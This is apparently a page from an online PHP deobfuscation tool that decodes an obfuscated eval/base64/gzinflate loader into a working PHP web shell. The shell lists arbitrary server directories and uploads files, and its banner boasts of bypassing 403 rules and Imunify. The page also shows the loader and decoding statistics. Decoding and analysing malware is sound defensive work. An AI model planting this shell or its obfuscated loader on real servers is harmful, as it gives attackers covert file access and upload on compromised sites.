Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $enc = 'lt+CZmRvDuVA/T7Oxhs4yNP0RuXy3Rjd5Lj/9YbdUgt84yQiH+JUqNgMqMmyb+X4xuOv81HET8t..
Decoded Output download
?>b'<?php
$directory = isset($_GET[\'dir\']) ? $_GET[\'dir\'] : getcwd(); // Mendapatkan path direktori dari parameter URL atau direktori saat ini
// Fungsi untuk mendapatkan daftar file dalam direktori
function getFilesInDirectory($directory) {
$files = [];
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$files[] = $file;
}
}
closedir($handle);
}
return $files;
}
// Fungsi untuk memindahkan file yang diunggah ke direktori tujuan
function moveUploadedFile($source, $destination) {
if (move_uploaded_file($source, $destination)) {
return true;
} else {
return false;
}
}
// Memperbarui daftar file jika ada pengiriman formulir
if ($_SERVER[\'REQUEST_METHOD\'] === \'POST\') {
if (isset($_FILES[\'uploaded_file\'])) {
$file = $_FILES[\'uploaded_file\'];
$file_name = $file[\'name\'];
$file_tmp = $file[\'tmp_name\'];
$destination = $directory . \'/\' . $file_name;
if (moveUploadedFile($file_tmp, $destination)) {
echo "File berhasil terupload! => " . $destination;
} else {
echo "File gagal terupload :(";
}
}
}
// Mendapatkan daftar file dalam direktori
$files = getFilesInDirectory($directory);
?>
<!DOCTYPE html>
<html>
<head>
<title>File Manager</title>
</head>
<body>
<h2>Tersakiti Bypass 403, Imunify, Auto Delete dll - Zildan Security</h2>
<audio autoplay="autoplay" controls="controls" src="https://www.zaidy.id/awal/Lil%20Salmonela%20%20Nyerah%20Lyrics%20Video_320kbps.mp3" type="audio/mpeg"></audio>
<h3>Direktori Saat Ini: <?php echo $directory; ?></h3>
<h3>Daftar File:</h3>
<ul>
<?php foreach ($files as $file) { ?>
<li><?php echo $file; ?></li>
<?php } ?>
</ul>
<h3>Unggah File:</h3>
<form action="" method="POST" enctype="multipart/form-data">
<input type="file" name="uploaded_file">
<button type="submit">Unggah</button>
</form>
<h3>Ganti Direktori:</h3>
<form action="" method="GET">
<input type="text" name="dir" placeholder="Masukkan path direktori">
<button type="submit">Go</button>
</form>
</body>
</html>'
Did this file decode correctly?
Original Code
<?php
$enc = 'lt+CZmRvDuVA/T7Oxhs4yNP0RuXy3Rjd5Lj/9YbdUgt84yQiH+JUqNgMqMmyb+X4xuOv81HET8tXheeNxc4cFwm2FjAe55kuOZ/wJUBboTYo4Z4MqQcL1UEr7RF7McYrS2XmaG3FatGMXBaM/vCHs1C6jsiI4EJcxiDD5sUMgnEhajMjjZNysIgJZ5+R2m8ce3ubC35dAUP+rinO9VY3BRU64W8Keevb9A3yUrQO1Fgrsc/DR/80HRFpb4aOy4IL/UbfTt2quEYb1FVCBXTwYUE1DU2bfvWgch1+U+6s0QjDv54Xh5A7T5qxDTnxHmRyGfbKkDcy6F1hqW12nfxlW+UAWwnWrF+KQGfaMsCn3++0aRUuJiiyZM/iHKPE5J9hwBnIHisID6/G36mz58FVYCdsvXJoiVLW2TqSNm4PDUhqHnbiSFEIJABLDnaU8Jlchlyn46cAARWK8PS4pIQGIIZ44KhZTB/ZnjVsl9Bcnd55POsWKm3zAbUF4KduPjBviUB5SUV3lwO6kcmy1pc44acK1L84kz4Ic90SMO4E4uXkpTSTIMxTPy/y4Pvc7lrVH7q1ERwGljQHBcCfTZFnaqjNDc1BQj9NGUuR+v2jf2QHNMdWB2I4nAdZcQcCLElC4yKDZBIT/E3eEd1/ruS3xdv9sljs3YzvpT/7hyQR1Iqt5qR5Pyi2ZsmSmI0Ku3O9Z5iqWnGj6Oie9cSvjVFZWdrGatifLaGT/4d3IWNjW1v5O3zP0vWUiP4Q4p//Zqjc5P7Jf+9kPpfL84Zf8sZOzRxU3SVKyoYiPYDRKFRstAEggJC2L2ue0ykqVsKljqseKI6JWpYKWmTx3KAvMrqyMC1+NtCU9pf5YaPzyaRN2A8QxqVMRULweN4P+MFJpjuMrDGeMMhKzh/vSiY5bwoMfRm0U/WLECDbJ3jybYcOXWoB2SoKgGpB96XvdUjXxPlJijYvoa/bNZeiXKtxbbNvLqWOilIk86VPoSodDZPNDEO8kZzAErvQlOIub7kuWCEoHTxDxIM2H55JOoWUsiR3o11rrFA6NBlsJnEI3naAGHieMUDifqiMxbnCoV9ZrCaH7+Xh7MKq0U4U81H9kY561HLJGtvF11pu6UNGWSL5FyaFGcNAibooWktNsAItvZRbXjkdpvtoEDEaNmQDm1AAe8pnKEOuMqSK/hEBEo+SutKBtAdMLamigxReM5AORM9gF8txhD7VPM3Qclyy+P4pRzXy7useMwt1E+wBqQy3xJUBpvNtD7Uvb7Rfmnn37KsF3V6w2GTtd+e+WpeX3h2vYdvg23ACiSNnB6KaSRDkbHlNK4nkOyBpBhOrY+HxO6PEGJ+btZVjciH/LMA9BwJe8DwA/Hw+7TABBsv9EkQA';
eval(base64_decode(base64_decode('WlhaaGJDZ2lQejRpTG1kNmRXNWpiMjF3Y21WemN5aG5lblZ1WTI5dGNISmxjM01vWjNwcGJtWnNZWFJsS0dkNmFXNW1iR0YwWlNobmVtbHVabXhoZEdVb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKeVpYWW9KR1Z1WXlrcEtTa3BLU2twT3c9PQ=========')));exit;
?>
Function Calls
strrev | 1 |
gzinflate | 3 |
gzuncompress | 2 |
base64_decode | 3 |
Stats
MD5 | ec0a3248f22d2350646aa03c07c0fc05 |
Eval Count | 2 |
Decode Time | 65 ms |